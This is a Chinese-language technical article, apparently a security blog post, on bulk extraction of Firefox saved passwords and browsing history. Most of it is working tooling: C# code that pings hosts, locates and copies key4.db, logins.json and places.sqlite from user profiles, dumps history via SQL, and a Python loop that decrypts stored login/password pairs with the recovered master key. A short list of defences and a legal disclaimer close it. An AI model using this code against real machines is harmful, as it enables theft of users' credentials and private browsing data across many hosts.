firefox批量get password
字数 1155 2025-08-06 18:07:33
Firefox 密码与历史记录提取技术详解
1. Firefox 密码存储机制概述
Firefox 浏览器在不同版本中使用了不同的密码存储机制:
| Firefox 版本 | 关键文件 | 加密算法 |
|---|---|---|
| <32 | key3.db, signons.sqlite | 3DES |
| >=32 | key3.db, logins.json | 3DES |
| >=58.0.2 | key4.db, logins.json | 3DES |
| >=75.0 | key4.db, logins.json | SHA1 PBKDF2 + SHA256 + AES256 CBC |
2. 配置文件位置
Firefox 配置文件默认存储在:
%APPDATA%\Mozilla\Firefox\Profiles\xxxxxxxx.default\
其中 xxxxxxxx 为8位随机字符,后面可能跟有其他字符。
3. 批量提取技术实现
3.1 前置准备
- 创建目标目录结构:
string currentpath = Directory.GetCurrentDirectory();
FireFoxInfo = currentpath + "\\FireFoxInfo";
Directory.CreateDirectory(FireFoxInfo);
- 主机存活检测:
public static bool IsMachineUp(string hostName) {
bool retVal = false;
try {
Ping pingSender = new Ping();
PingOptions options = new PingOptions();
options.DontFragment = true;
string data = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
byte[] buffer = Encoding.ASCII.GetBytes(data);
int timeout = 800;
PingReply reply = pingSender.Send(hostName, timeout, buffer, options);
if (reply.Status == IPStatus.Success) {
retVal = true;
}
} catch {
retVal = false;
}
return retVal;
}
3.2 文件查找与复制
- 递归查找文件:
public static string FindFile(string filePath, string fileName) {
string returnstr = "";
DirectoryInfo[] dateDirArr = new DirectoryInfo(filePath).GetDirectories();
foreach (DirectoryInfo directoryInfo in dateDirArr) {
string Directoryfullpath = filePath + "\\" + directoryInfo;
string Filefullpath = Directoryfullpath + "\\" + fileName;
if (!File.Exists(Filefullpath)) {
FindFile(Directoryfullpath, fileName);
} else {
returnstr = Filefullpath;
}
}
return returnstr;
}
- 复制关键文件:
string firefox_key_path_cuurent = UserFolder + "\\" + firefox_key;
StreamWriter firefox_key_cuurent = File.CreateText(firefox_key_path_cuurent);
firefox_key_cuurent.Close();
bool isrewrite = true;
File.Copy(firefox_key_path, firefox_key_path_cuurent, isrewrite);
3.3 历史记录提取
历史记录存储在 places.sqlite 的 moz_places 表中:
SQLiteConnection connect = new SQLiteConnection(@"Data Source=" + cookie_path_current);
connect.Open();
string sql = "select * from moz_places";
SQLiteCommand command = new SQLiteCommand(sql, connect);
command.CommandType = CommandType.Text;
SQLiteDataReader r = command.ExecuteReader();
while (r.Read()) {
string url = Convert.ToString(r["url"]);
string title = Convert.ToString(r["title"]);
string description = Convert.ToString(r["description"]);;
string out_string = "url:" +url + "\r\n" + "title:" +title + "\r\n";
File.AppendAllText(gethistorypath, out_string);
}
connect.Close();
4. 密码解密技术
4.1 Firefox 58.0.2 - 75.0 版本解密流程
- 从
key4.db中提取编码+加密的 password-check 数据 - ASN1 解码
- 使用 3DES 解密 password-check 字符串(验证密码正确性)
- 从
key4.db中提取编码+加密的主密钥 - ASN1 解码
- 使用 3DES 解密主密钥
- 从
logins.json读取加密的登录名和密码 - ASN1 解码
- 使用主密钥 3DES 解密登录数据
4.2 Firefox ≥75.0 版本解密流程
- 从
key4.db中提取编码+加密的 password-check 数据 - ASN1 解码
- 使用 AES 解密 password-check 字符串(验证密码正确性)
- 从
key4.db中提取编码+加密的主密钥 - ASN1 解码
- 使用 3DES 解密主密钥
- 从
logins.json读取加密的登录名和密码 - ASN1 解码
- 使用主密钥 3DES 解密登录数据
4.3 Python 解密实现
target_path = []
dir = "C:\\Path\\To\\FireFoxInfo\\"
for root, dirs, files in os.walk(dir):
for file in files:
path = os.path.join(root,file)
if ("logins.json" in os.path.join(root,file)):
path = path.replace("logins.json", "")
target_path.append(path)
for i in target_path:
key, algo = getKey(options.masterPassword.encode(), Path(i))
if key==None:
sys.exit()
logins = getLoginData(i)
if len(logins)==0:
print('no stored passwords')
else:
print('decrypting login/password pairs')
if algo == '1.2.840.113549.1.12.5.1.3' or algo == '1.2.840.113549.1.5.13':
for i in logins:
assert i[0][0] == CKA_ID
print('%20s:' % (i[2]),end='') #site URL
iv = i[0][1]
ciphertext = i[0][2]
print(unpad(DES3.new(key, DES3.MODE_CBC, iv).decrypt(ciphertext), 8), end=',')
iv = i[1][1]
ciphertext = i[1][2]
print(unpad(DES3.new(key, DES3.MODE_CBC, iv).decrypt(ciphertext), 8))
print("\r\n")
5. 防御建议
- 使用主密码保护 Firefox 存储的密码
- 定期清理浏览器历史记录
- 限制对用户配置文件的访问权限
- 及时更新 Firefox 到最新版本
- 在共享或公共计算机上避免保存密码
6. 法律与道德声明
本文档仅用于教育目的和安全研究,未经授权访问他人计算机系统或数据是违法行为。使用者应确保遵守所有适用的法律法规,仅在合法授权的情况下进行相关测试。